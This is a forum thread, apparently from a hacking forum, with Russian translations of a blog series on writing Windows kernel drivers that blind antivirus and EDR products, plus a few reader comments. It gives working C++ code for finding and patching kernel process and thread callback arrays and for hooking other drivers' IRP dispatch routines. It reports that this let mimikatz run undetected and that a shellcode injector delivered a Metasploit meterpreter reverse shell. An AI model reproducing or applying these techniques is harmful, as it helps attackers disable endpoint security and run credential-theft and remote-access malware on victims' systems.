[Version]
Signature="$WINDOWS NT$"
Class=System
ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318}
Provider=%ManufacturerName%
DriverVer=
CatalogFile=evil.cat
PnpLockDown=1
 
[DestinationDirs]
DefaultDestDir = 12
 
 
[SourceDisksNames]
1 = %DiskName%,,,""
 
[SourceDisksFiles]
 
 
[DefaultInstall.ntamd64]
 
[Standard.NT$ARCH$]
 
 
[Strings]
ManufacturerName="<Your manufacturer name>" ;TODO: Replace with your manufacturer name
ClassName=""
DiskName="evil Source Disk"

Как только драйвер скомпилировался и был подписан тестовым сертификатом, я установил его на свою виртуальную машину Windows 10 с удаленно подключенным WinDbg. Чтобы увидеть отладочные сообщения в WinDbg, я обновил маску до 8: kd> ed Kd_Default_Mask 8.
Код:
sc create evil type= kernel binPath= C:\Users\Cerbersec\Desktop\driver\evil.sys
sc start evil

Посмотреть вложение 30404

Посмотреть вложение 30405

Используя приложение evilcli.exe с флагом -l, я могу перечислить все зарегистрированные callback'и из массива обратных вызовов о создании процессов и потоков. Когда я впервые попробовал это сделать, то сразу же получил BSOD с сообщением "Page Fault in Non-Paged Area".

5. Загадка трех байтов

BSOD сообщает, что я пытаюсь получить доступ к non-committed памяти, что является немедленным bugcheck. Причина по которой это произошло связана с версионностью Windows и способом нахождения массива обратных вызовов в памяти.

Посмотреть вложение 30406

Нахождение массива обратных вызовов в памяти вручную является тривиальной задачей и может быть выполнено с помощью WinDbg или любого другого отладчика ядра. Сначала мы разбираем функцию PsSetCreateProcessNotifyRoutine() и ищем первую инструкцию CALL (0xE8).

Посмотреть вложение 30407

Далее мы дизассемблируем функцию PspSetCreateProcessNotifyRoutine() пока не найдём инструкцию LEA (0x4C 0x8D 0x2D) (Load Effective Address).

Посмотреть вложение 30408

Затем проверяем адрес памяти, который LEA помещает в регистр r13. Это массив callback'ов в памяти.

Посмотреть вложение 30409

Чтобы просмотреть различные драйверы в этом массиве, нам нужно выполнить операцию Логическое И с адресом в массиве и 0xFFFFFFFFFFFFF8.

Посмотреть вложение 30410

Драйвер работает примерно так же: чтобы найти массив обратных вызовов в памяти, вычисляются смещения инструкций (которые мы искали вручную) относительно адреса функции PsSetCreateProcessNotifyRoutine(), который мы получим с помощью функции MmGetSystemRoutineAddress().
C++:
ULONG64 FindPspCreateProcessNotifyRoutine()
{
    LONG OffsetAddr = 0;
    ULONG64 i = 0;
    ULONG64 pCheckArea = 0;
    UNICODE_STRING unstrFunc;
 
    RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    //obtain the PsSetCreateProcessNotifyRoutine() function base address
    pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
    KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
 
    //loop though the base address + 20 bytes and search for the right OPCODE (instruction)
    //we're looking for 0xE8 OPCODE which is the CALL instruction
    for (i = pCheckArea; i < pCheckArea + 20; i++)
    {
        if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
        {
            OffsetAddr = 0;
 
            //copy 4 bytes after CALL (0xE8) instruction, the 4 bytes contain the relative offset to the PspSetCreateProcessNotifyRoutine() function address
            memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
            pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;
 
            break;
        }
    }
 
    KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
   
    //loop through the PspSetCreateProcessNotifyRoutine base address + 0xFF bytes and search for the right OPCODES (instructions)
    //we're looking for 0x4C 0x8D 0x2D OPCODES which is the LEA, r13 instruction
    for (i = pCheckArea; i < pCheckArea + 0xff; i++)
    {
        if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
        {
            OffsetAddr = 0;
 
            //copy 4 bytes after LEA, r13 (0x4C 0x8D 0x2D) instruction
            memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            //return the relative offset to the callback array
            return OffsetAddr + 7 + i;
        }
    }
 
    KdPrint(("[+] Returning from CreateProcessNotifyRoutine \n"));
    return 0;
}

Здесь следует обратить внимание на конструкции OPCODE_*[g_WindowsIndex], которые определяются так:
C++:
UCHAR OPCODE_PSP[]   = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8, 0xe8 };
//process callbacks
UCHAR OPCODE_LEA_R13_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c, 0x4c };
UCHAR OPCODE_LEA_R13_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_R13_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d };
// thread callbacks
UCHAR OPCODE_LEA_RCX_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x48, 0x48, 0x48, 0x48 };
UCHAR OPCODE_LEA_RCX_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d };
UCHAR OPCODE_LEA_RCX_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d, 0x0d };

g_WindowsIndex - это индекс, основанный на версии Windows (osVersionInfo.dwBuildNumer).

Чтобы разгадать загадку BSOD, я сравнил вывод с ручными расчётами и выяснил, что мой драйвер искал OPCODE 0x00 вместо OPCODE 0xE8 (CALL) для получения адреса функции PspSetCreateProcessNotifyRoutine(). Первый найденный им OPCODE 0x00 расположен со смещением в 3 байта от OPCODE 0xE8, в результате чего функция memcpy() получает неверное смещение.

После корректировки массива OPCODE и функции, отвечающей за вычисление индекса из номера сборки Windows, драйвер заработал как надо.

Посмотреть вложение 30411

6. Драйвер против антивируса

Чтобы протестировать драйвер, я установил его на виртуальную машину Windows 11 вместе с антивирусом. После исправления процедур обратного вызова AV-драйвера в массиве обратных вызовов файл mimikatz.exe был успешно выполнен.

Посмотреть вложение 30412

После возврата AV-драйвера в исходное состояние, файл mimikatz.exe был обнаружен и заблокирован при выполнении.

Посмотреть вложение 30413

7. Заключение

Мы начали эту статью с рассмотрения пространства пользователя и пространства ядра и того, как EDR/AV взаимодействуют с ними. Поскольку нашей целью является разработка драйвера ядра для блокировки EDR/AV, мы обсудили концепцию драйверов и обратных вызовов, а также то, как они используются антивирусными решениями. В качестве практического примера мы использовали evilcli. В результате Mimikatz запустился и остался незамеченным.

---
Оригинал статьи: https://blog.nviso.eu/2021/10/21/kernel-karnage-part-1/
Переведено специально для xss.pro. Спасибо Azrv3l за наводку.

Это цикл статей. Будет обновление этого топика по мере перевода мной оставшихся частей.
В одном драйвере видел "обфускацию" ioctl-кодов однобайтовым ксором, но это был какой-то third-third-party драйвер, в виндовых драйверах самого майка все довольно прозрачно. По крайней мере я не встречал какой-либо обфускации кодов, но реализовать можно при желании, как примитивную защиту от стат анализа. Плюс в драйверах не так много функций, где используются ioctl-коды для IRP. Отследить их дело нескольких минут. БОльшую сложность представляет скорее реверс валидного пакета, передаваемого в ioctl драйверу, чтобы запрос выполнился корректно.
Here we go the best thread for me playing with kernel call backs
if you bypass kernel call backs trust me you Just skiped all AV/EDR vendors
1 thing more if you make unended calls between the kernel driver and evil.exe , thats called bug driver your exe will denayed access even from WD
 
Назад к основам

На этой неделе я пытаюсь выяснить, что делает драйвер драйвером и экспериментирую с написанием собственных хуков ядра.

1. Начала Windows Kernel Programming

В первой части статьи, посвящённой моей стажировке, мы рассмотрели как EDR взаимодействуют с пользовательским и ядерным пространствами. Исследовали функцию под названием Kernel Callbacks, используя проект Windows Kernel Ps Callback Experiments от @fdiskyou, чтобы пропатчить их в памяти. Обратные вызовы ядра - это только первый шаг в линии защиты, которую современные решения EDR и AV используют при развертывании драйверов для выявления вредоносной активности. Чтобы лучше понять с чем мы столкнёмся, нам нужно сделать шаг назад и ознакомиться с самой концепцией драйвера.

Именно для этого на этой неделе я провёл большую часть своего времени за чтением фантастической книги Павла Йосифовича «Работа с ядром Windows», которая представляет собой отличное введение в ядро Windows, его компоненты и механизмы, а также в драйверы, их строение и функции.

В этой статье я хотел бы более подробно рассмотреть анатомию драйвера и поэкспериментировать с техникой, которая называется перехват IRP MajorFunction.

2. Анатомия драйвера

Большинство из нас знакомы с классическими проектами на C/C++ и их параметрами; например функция int main(int argc, char* argv[]){ return 0; } является точкой входа для консольного приложения C++. Итак, что же делает драйвер драйвером?

Подобно консольному приложению C++, драйверу также требуется точка входа. Эта точка входа представлена в виде функции DriverEntry() с прототипом:
C++:
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath);

Функция DriverEntry() выполняет 2 основные задачи:
1) настройка DeviceObject и связанной с ним символической ссылки;
2) настройка процедур обработки.

Каждому драйверу нужна "конечная точка", которую другие приложения будут использовать для связи с ним. Она представлена в виде объекта DeviceObject, экземпляра структуры DEVICE_OBJECT. Объект DeviceObject представлен в виде символической ссылки и зарегистрирован в каталоге GLOBAL?? Менеджера объектов (используйте инструмент WinObj). Приложения пользовательского режима могут использовать функции типа NtCreateFile с символической ссылкой в качестве хэндла для обращения к драйверу.

1644598576902.png


Пример приложения на C++, использующего CreateFile для общения с драйвером, зарегистрированным как "Interceptor" (подсказка: это мой драйвер :)):
C++:
HANDLE hDevice = CreateFile(L"\\\\.\\Interceptor)", GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);

Как только "конечная точка" настроена, функция DriverEntry() должна определить что делать с входящими сообщениями из пользовательского режима и другими операциями, такими как выгрузка из памяти. Используем DriverObject для регистрации процедур обработки конкретных операций драйвера.

DriverObject содержит массив, содержащий указатели на функции, называемый массивом MajorFunction. Этот массив определяет какие именно операции поддерживаются, например, Create, Read, Write и т.д. Индекс массива MajorFunction управляется Major Function codes, начинающихся с префикса IRP_MJ_.

Существует 3 основных кода функций наряду с операцией DriverUnload, которые необходимо инициализировать для правильной работы драйвера:
C++:
// prototypes
void InterceptUnload(PDRIVER_OBJECT);
NTSTATUS InterceptCreateClose(PDEVICE_OBJECT, PIRP);
NTSTATUS InterceptDeviceControl(PDEVICE_OBJECT, PIRP);
 
//DriverEntry
extern "C" NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    DriverObject->DriverUnload = InterceptUnload;
    DriverObject->MajorFunction[IRP_MJ_CREATE] = InterceptCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] =  InterceptCreateClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = InterceptDeviceControl;
 
    //...
}

Процедура DriverObject->DriverUnload отвечает за очистку и предотвращение любых утечек памяти перед выгрузкой драйвера. Утечка в ядре будет сохраняться до тех пор, пока ОС не будет перезагружена. Функции IRP_MJ_CREATE и IRP_MJ_CLOSE обрабатывают вызовы CreateFile() и CloseHandle(). Без них хэндлы нельзя было бы создать или уничтожить - в некотором смысле драйвер был бы непригоден для использования. Наконец, основная функция IRP_MJ_DEVICE_CONTROL отвечает за связь драйвера и пользовательских приложений.

Обычно взаимодействует происходит при получении запроса, его обработки или переадресации соответствующему устройству в стеке устройств (это выходит за рамки данной статьи). Эти запросы поступают в виде Пакета запросов ввода-вывода, который представляет собой полудокументированную структуру, сопровождаемую одной или несколькими структурами IO_STACK_LOCATION, расположенными в памяти непосредственно после IRP. Каждый IO_STACK_LOCATION связан с устройством в стеке устройств, драйвер может вызвать функцию IoGetCurrentIrpStackLocation() для получения IO_STACK_LOCATION, связанной с ним самим.

Ранее упомянутые диспетчерские процедуры определяют как эти IRP обрабатываются драйвером. Нас интересует IRP_MJ_DEVICE_CONTROL, которая соответствует вызову DeviceIoControl() из пользовательского режима или вызову ZwDeviceIoControlFile() из режима ядра. Запрос IRP, предназначенный для IRP_MJ_DEVICE_CONTROL, содержит два буфера: один для чтения и один для записи, а также управляющий код, обозначенный префиксом IOCTL_. Этот код определяется разработчиком драйвера и указывает на поддерживаемые драйвером управляющие действия.
Управляющие коды создаются с помощью макроса CTL_CODE, определяемого как:
C++:
#define CTL_CODE(DeviceType, Function, Method, Access)((DeviceType) << 16 | ((Access) << 14) | ((Function) << 2) | (Method))

Пример из моего драйвера Interceptor:
C++:
#define IOCTL_INTERCEPTOR_HOOK_DRIVER CTL_CODE(0x8000, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_INTERCEPTOR_UNHOOK_DRIVER CTL_CODE(0x8000, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_INTERCEPTOR_LIST_DRIVERS CTL_CODE(0x8000, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_INTERCEPTOR_UNHOOK_ALL_DRIVERS CTL_CODE(0x8000, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)

3. Хуки ядра

Теперь, когда мы имеем смутное представление о том, как драйверы общаются с другими драйверами и приложениями, мы можем подумать о способах перехвата этих сообщений. Один из таких способов называется перехват IRP MajorFunction.

1644600327347.png


Поскольку драйверы и все остальные процессы ядра используют одну и ту же память, мы тоже можем обращаться к ней и перезаписывать ее (если только не побеспокоим PatchGuard, изменяя критические структуры). Я написал драйвер под названием Interceptor, который делает именно это. Он находит объект DriverObject целевого драйвера и извлекает его массив MajorFunction (MFA). Для этого используется недокументированная функция ObReferenceObjectByName(), которая использует имя устройства для получения указателя на объект DriverObject.

C++:
UNICODE_STRING targetDriverName = RTL_CONSTANT_STRING(L"\\Driver\\Disk");
PDRIVER_OBJECT DriverObject = nullptr;
 
status = ObReferenceObjectByName(
    &targetDriverName,
    OBJ_CASE_INSENSITIVE,
    nullptr,
    0,
    *IoDriverObjectType,
    KernelMode,
    nullptr,
    (PVOID*)&DriverObject
);
 
if (!NT_SUCCESS(status)) {
    KdPrint((DRIVER_PREFIX "failed to obtain DriverObject (0x%08X)\n", status));
    return status;
}

Получив MFA, он пройдется по всем процедурам IRP_MJ_ и заменит указатели целевого драйвера на мои указатели, указывающие на функции InterceptHook.

C++:
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
    // save the original pointer in case we need to restore it later
    globals.originalDispatchFunctionArray[i] = DriverObject->MajorFunction[i];
    // replace the pointer with our own pointer
    DriverObject->MajorFunction[i] = &GenericHook;
}
// cleanup
ObDereferenceObject(DriverObject);

Для примера я подключил процедуру IRP_MJ_DEVICE_CONTROL дискового драйвера и перехватил вызовы:

1644600667741.png


Этот метод может быть использован для перехвата сообщений любого драйвера, но его довольно легко обнаружить. Драйвер EDR/AV может выполнить проверку по собственному массиву MajorFunction и проверить адреса функций, чтобы узнать, находится ли они в его собственном адресном пространстве. Если указатели функций находится вне диапазона адресов, это означает, что процедура диспетчеризации была перехвачена.

4. Заключение

Чтобы победить EDR, важно знать что происходит в ядре, а точнее, в драйвере. В этой статье мы рассмотрели анатомию драйвера, его функции и основные задачи. Мы установили:
1) как драйверу необходимо взаимодействовать с другими драйверами и приложениями;
2) что он делает через процедуры обработки, зарегистрированные в массиве MajorFunction.

Затем мы кратко рассмотрели как можно перехватить коммуникацию с помощью техники, называемой перехват IRP MajorFunction, которая патчит процедуры диспетчеризации драйвера в памяти указателями на наши собственные процедуры.

---
Оригинал статьи: https://blog.nviso.eu/2021/10/29/kernel-karnage-part-2-back-to-basics/
Переведено специально для xss.pro.
 
Последнее редактирование:
Вызов принят

Пока я путешествовал, любуясь пейзажем kernel, я получил вызов…

1. Игрок 2 вступает в игру

Последние недели я в основном экспериментировал с существующими инструментами и знакомился с основами разработки драйверов. Мне удалось быстро победить $vendor1, но это не произвело впечатления на нашу Blue team, поэтому я получил вызов обойти $vendor2. Должен признать, что после того, как я всю неделю пытался обойти защиту, $vendor2 определенно является более крупным зверем, которого нужно приручить.

Я по глупости пытался заблокировать callback'и с помощью драйвера Evil из моей первой статьи и быстро пришёл к выводу, что это не поможет. Чтобы выиграть эту битву, мне нужно было оружие побольше.

2. Знай своего врага

Защита $vendor2 состоит из нескольких модулей:
- eamonm.sys (агент мониторинга?)
- edevmon.sys (мониторинг устройств?)
- eelam.sys (ранний запуск антивирусного драйвера)
- ehdrv.sys (вспомогательный драйвер?)
- ekbdflt.sys (фильтр клавиатуры?)
- epfw.sys (драйвер брандмауэра?)
- epfwlwf.sys (облегчённый фильтр брандмауэра?)
- epfwwfp.sys (фильтр брандмауэра?)

и сервис ekrn.exe, запущенный как System Protected Process.

На данном этапе я только догадываюсь о роли и функциональности этих драйверов, основываясь на их названиях и некоторых признаках, которые наблюдал во время различных тестов (не использовал обратный инжиниринг). Поскольку мне необходимо запускать вредоносные приложения на защищённой системе, мой начальный вектор атаки заключается в отключении функциональности драйверов ehdrv.sys, epfw.sys и epfwwfp.sys. Насколько могу судить (используя WinObj) и перечисляя все загруженные модули в WinDbg (команда lm), epfwlwf.sys не запущен (как и eelam.sys), который, как предполагаю, используется только на начальных этапах загрузки для запуска ekrn.exe в качестве Защищённого процесса системы.

1644602860711.png


В связи с тем, что тема моей стажировки посвящена ядру, я (пока) не рассматривал возможность атаки на защищённый сервис ekrn.exe. Согласно документации Microsoft, процесс защищён от внедрения кода и других атак со стороны процессов с правами администратора. Однако быстрый поиск в Google говорит об обратном :)

3. Interceptor

Присмотревшись к драйверам ehdrv.sys, epfw.sys и epfwwfp.sys, я заметил, что все они зарегистрировали обратные вызовы либо на создание процесса, либо на создание потока, либо на то и на другое. Я всё ещё дорабатываю свой драйвер, чтобы добавить в него функциональность вызовов при загрузке DLL-образов, которые используются для обнаружения загрузки драйверов и тому подобное. К счастью, драйвер Evil пока (частично) справляется с этой задачей.

1644603473697.png


К сожалению, нельзя полагаться исключительно на блокировку обратных вызовов ядра. Другие драйвера и приложения, связывающиеся с драйверами $vendor2 и сообщающие о подозрительной активности, также должны быть учтены. В предыдущей статье я кратко коснулся перехвата IRP MajorFunction, что является неплохим, хоть и легко обнаруживаемым способом перехвата взаимодействия между ними.

Я написал свой собственный драйвер под названием Interceptor, который объединяет идеи проекта Driver Monitor от @zodiacon и драйвера Evil от @fdiskyou.

Для сбора информации о всех загруженных драйверах в системе, я использовал функцию AuxKlibQueryModuleInformation(). Заметьте, что поскольку я возвращаю вывод через параметры pass-by-reference, вызывающая функция отвечает за очистку выделенной памяти и предотвращение утечек.

C++:
NTSTATUS ListDrivers(PAUX_MODULE_EXTENDED_INFO& outModules, ULONG& outNumberOfModules) {
    NTSTATUS status;
    ULONG modulesSize = 0;
    PAUX_MODULE_EXTENDED_INFO modules;
    ULONG numberOfModules;
 
    status = AuxKlibInitialize();
    if(!NT_SUCCESS(status))
        return status;
 
    status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), nullptr);
    if (!NT_SUCCESS(status) || modulesSize == 0)
        return status;
 
    numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO);
 
    modules = (AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(PagedPool, modulesSize, DRIVER_TAG);
    if (modules == nullptr)
        return STATUS_INSUFFICIENT_RESOURCES;
 
    RtlZeroMemory(modules, modulesSize);
 
    status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules);
    if (!NT_SUCCESS(status)) {
        ExFreePoolWithTag(modules, DRIVER_TAG);
        return status;
    }
 
    //calling function is responsible for cleanup
    //if (modules != NULL) {
    //  ExFreePoolWithTag(modules, DRIVER_TAG);
    //}
 
    outModules = modules;
    outNumberOfModules = numberOfModules;
 
    return status;
}

Используя эту функцию, я могу получить такую информацию, как полный путь к драйверу, имя файла на диске и базовый адрес. Эта информация затем передаётся в приложение InterceptorCLI.exe и используется для нахождения массива DriverObject и MajorFunction драйвера, чтобы их можно было перехватить.

Для хука процедур драйвера я всё ещё полагаюсь на функцию ObReferenceObjectByName(), которая принимает параметр UNICODE_STRING, содержащий имя драйвера в формате \\Driver\\DriverName. В этом случае имя драйвера определяется именем файла на диске: mydriver.sys -> \\Driver\\mydriver.

Тем не менее замечу, что это ненадёжный способ получения хэндла объекта DriverObject, поскольку имя драйвера может быть любым в его функции DriverEntry() при создании DeviceObject и символической ссылки.

После получения хэндла целевой драйвер будет сохранён в глобальном массиве, а его процедуры будут перехвачены и заменены моей функцией InterceptGenericDispatch(). Процедура DriverObject->DriverUnload целевого драйвера отдельно анализируется и заменяется моей функцией GenericDriverUnload(), чтобы предотвратить выгрузку драйвера без нашего ведома, что могло бы привести к nightnare с висящими указателями.

C++:
NTSTATUS InterceptGenericDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    auto stack = IoGetCurrentIrpStackLocation(Irp);
    auto status = STATUS_UNSUCCESSFUL;
    KdPrint((DRIVER_PREFIX "GenericDispatch: call intercepted\n"));
 
    //inspect IRP
    if(isTargetIrp(Irp)) {
        //modify IRP
        status = ModifyIrp(Irp);
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    else if (isDiscardIrp(Irp)) {
        //call own completion routine
        status = STATUS_INVALID_DEVICE_REQUEST;
        return CompleteRequest(Irp, status, 0);
    }
    else {
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    return CompleteRequest(Irp, status, 0);
}

C++:
void GenericDriverUnload(PDRIVER_OBJECT DriverObject) {
    for (int i = 0; i < MaxIntercept; i++) {
        if (globals.Drivers[i].DriverObject == DriverObject) {
            if (globals.Drivers[i].DriverUnload) {
                globals.Drivers[i].DriverUnload(DriverObject);
            }
            UnhookDriver(i);
        }
    }
    NT_ASSERT(false);
}

4. Кто первый встал, того и тапки

Вооружившись обновлённым Interceptor, я снова попытался победить $vendor2. Увы, не повезло: mimikatz.exe всё ещё обнаруживался и блокировался. Это заставило меня задуматься о том, что запуск такого "известного" файла без каких-либо попыток скрыть его или обфусцировать, вообще нереален. Одна только проверка сигнатур показала бы, что файл является вредоносным. Поэтому было принято решение написать свой собственный инжектор полезной нагрузки.

Основываясь на исследованиях, представленных в статье "An Empirical Assessment of Endpoint Detection and Response Systems against Advanced Persistent Threats Attack Vectors" George Karantzas и Constantinos Patsakis, я выбрал для инжектора шелл-кода:
- технику EarlyBird
- спуфинг PPID
- включение Code Integrity Guard (CIG) от Microsoft для предотвращения внедрения в наш процесс посторонних DLL-файлов
- использование syscall для обхода хуков пользовательского режима

Инжектор поставляет собой шелл-код для получения полезной нагрузки "windows/x64/meterpreter/reverse_tcp" из фреймворка Metasploit.

Используя инжектор сочетании с драйвером Evil для отключения callbackэов и драйвера Interceptor для перехвата любых IRP к драйверам ehdrv.sys, epfw.sys и epfwwfp.sys, полезная нагрузка meterpreter по-прежнему обнаруживается, но не блокируется $vendor2.

1644605409989.png


5. Заключение

В этой статье мы рассмотрели более продвинутый AV, состоящий из нескольких модулей ядра и улучшенных возможностей обнаружения как в пользовательском режиме, так и в режиме ядра. Мы обратили внимание на различные загружаемые драйверы ядра AV и callback'и, на которые они подписываются. Затем мы объединили драйвер Evil и драйвер Interceptor, чтобы отключить обратные вызовы ядра и перехватить процедуры IRP, после чего выполнили инжект шелл-кода для получения reverse shell.

---
Оригинал статьи: https://blog.nviso.eu/2021/11/16/kernel-karnage-part-3-challenge-accepted/
Переведено специально для xss.pro.
 
Inter(ceptor)mezzo

Чтобы компенсировать долгое ожидание между статьями 2 и 3, на этой неделе выпускаю ещё одну. Часть 4 меньше остальных, это интермеццо между частями 3 и 5 или, если хотите, обсуждение Interceptor.

1. RTFM и W(rite)TFM

Последние несколько недель я потратил много времени на знакомство с ядром Windows и внутренним устройством некоторых EDR/AV. Также рассмотрел два основных метода атаки: патч callback'ов и перехват IRP MajorFunction. Я работаю над собственным драйвером под названием Interceptor, который реализует обе эти техники, а также над методом загрузки в память в обход Driver Signing Enforcement (DSE).

Скажу вам: при написании инструментов или эксплойтов автор должен точно знать за что отвечает каждая часть его/её/их кода. Как он работает, избегать копирования из похожих проектов без полного понимания. Учитывая это, я пишу Interceptor на основе других проектов. Мне некуда спешить, я смотрю аналогичные проекты и релевантные с ними записи в блогах, чтобы пришло понимание.

В настоящее время Interceptor поддерживает IRP хуки и анхук по имени или индексу на основе загруженных драйверов.

1644607640781.png


Используя опцию -l, Interceptor выведет все загруженные в данный момент драйвера в системе и присвоит им индекс. Этот индекс может быть использован для подключения с помощью опции -h.

1644607694450.png


Используя опцию -lh, Interceptor выведет список всех подключенных драйверов с соответствующим индексом из общего списка. В настоящее время Interceptor поддерживает подключение до 64 драйверов. Индекс может быть использован с опцией -u для отсоединения.

1644607810742.png


Как только драйвер перехвачен, функция InterceptGenericDispatch() будет вызываться всякий раз, когда получен IRP. Эта функция уведомляет о том, что вызов был перехвачен с помощью отладочного сообщения, а затем вызывает исходную процедуру. Сейчас я работаю над методом проверки и модификации IRP.

C++:
NTSTATUS InterceptGenericDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    auto stack = IoGetCurrentIrpStackLocation(Irp);
    auto status = STATUS_UNSUCCESSFUL;
    KdPrint((DRIVER_PREFIX "GenericDispatch: call intercepted\n"));
 
    //inspect IRP
    if(isTargetIrp(Irp)) {
        //modify IRP
        status = ModifyIrp(Irp);
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    else if (isDiscardIrp(Irp)) {
        //call own completion routine
        status = STATUS_INVALID_DEVICE_REQUEST;
        return CompleteRequest(Irp, status, 0);
    }
    else {
        //call original
        for (int i = 0; i < MaxIntercept; i++) {
            if (globals.Drivers[i].DriverObject == DeviceObject->DriverObject) {
                auto CompletionRoutine = globals.Drivers[i].MajorFunction[stack->MajorFunction];
                return CompletionRoutine(DeviceObject, Irp);
            }
        }
    }
    return CompleteRequest(Irp, status, 0);
}

Также идёт работа над модулем, который позволит патчить callback'и. Сложность здесь заключается в определении местоположения различных массивов обратных вызовов путём перечисления вызывающих их функций и поиска определённых шаблонов опкодов, которые меняются между различными версиями Windows.

Как я говорил в предыдущей статье, нахождение массивов обратных вызовов для PsSetCreateprocessNotifyRoutine() и PsSetCreateThreadNotifyRoutine() осуществляется путём поиска инструкции CALL в PspSetCreateProcessNotifyRoutine() и PspSetCreateThreadNotifyRoutine(), после чего происходит поиск инструкции LEA.

Поиск массива для PsSetLoadImageNotifyRoutine() отличается, поскольку функция сначала переходит к PsSetLoadImageNotifyRoutineEx(). Далее пропускаем инструкцию CALL и переходим прямо к инструкции LEA, которая помещает адрес массива в RCX.

1644608239576.png


Interceptor в настоящее время реализует корректный патчинг для Process и Thread.

1644608296417.png


Зарегистрированные callback'и и их состояние можно посмотреть с помощью команды -lc.

1644608341425.png


2. Заключение

В предыдущей статье мы объединили функциональность двух драйверов - Evilcli и Interceptor - для частичного обхода $vendor2. Здесь мы подробнее рассмотрели возможности Interceptor и его будущие функции, находящиеся в разработке. Далее Interceptor будет представлен в виде самостоятельного драйвера, способного "победить" не только $vendor2, но и другие продукты EDR.

Ссылки
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх